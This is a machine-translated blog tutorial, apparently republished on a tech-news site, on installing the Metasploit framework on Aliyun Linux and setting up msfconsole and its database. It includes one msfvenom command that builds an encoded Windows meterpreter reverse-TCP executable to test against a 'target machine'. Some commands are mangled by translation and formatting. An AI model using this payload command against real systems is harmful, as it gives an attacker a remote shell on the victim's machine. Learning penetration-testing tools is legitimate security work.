In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-17 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >
Share
Shulou(Shulou.com)06/01 Report--
This article will explain in detail how to install msf on the linux system. The editor thinks it is very practical, so I share it with you for reference. I hope you can get something after reading this article.
My server system is Aliyun linux
1. Download and install
Curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall & & chmod 755 msfinstall & &. / msfinstall
Possible error: Couldn't open file / etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit
It's because of the installation of the library!
Solution:
Yum install-y epel-release
Then repeat the above command!
2. Add a new user to run msf
Adduser msf # add msf user
Su msf # switch to msf user
Cd / opt/metasploit-framework/bin # change to the directory where msf is located
. / msfconsole
Start msfconsole after # and switch to the msf user to start it, which will synchronize the database.
If started by a root user, the database will not be synchronized!
(the startup index is configured by default!)
Msfconsole can be started directly!
123456789101112131415 related command [msf@xxxx root] $msfmsfbinscan msfconsole msfd msfdb msfelfscan msfmachscan msfpescan msfrop msfrpc msfrpcd msfupdate msfvenom# database initialization [msf@xxxx root] $msfdbCommands: init initialize the component reinit delete and reinitialize the component delete delete and stop the component status check component status start start the component stop stop the component restart restart the component12345# test: e.g. My virtual host is Win2003 (target machine) msfvenom-a x86-- platform windows-p windows/meterpreter/reverse_tcp LHOST=msf_ip LPORT=4444-e x86/shikata_ga_nai-f exe > test.exe
Note: if an elastic CVM IP,LHOST should be set to private network allocation IP, public network IP cannot be set up. Hematemesis!
Install msf Framework under ps:linux system
Command:
123wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.runchmod 755 metasploit-latest-linux-installer.run./metasploit-latest-linux-installer.run
Just wait for the run to finish. Press enter and Y at the key place.
This is the end of the article on "how to install msf in linux system". I hope the above content can be of some help to you, so that you can learn more knowledge. if you think the article is good, please share it for more people to see.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.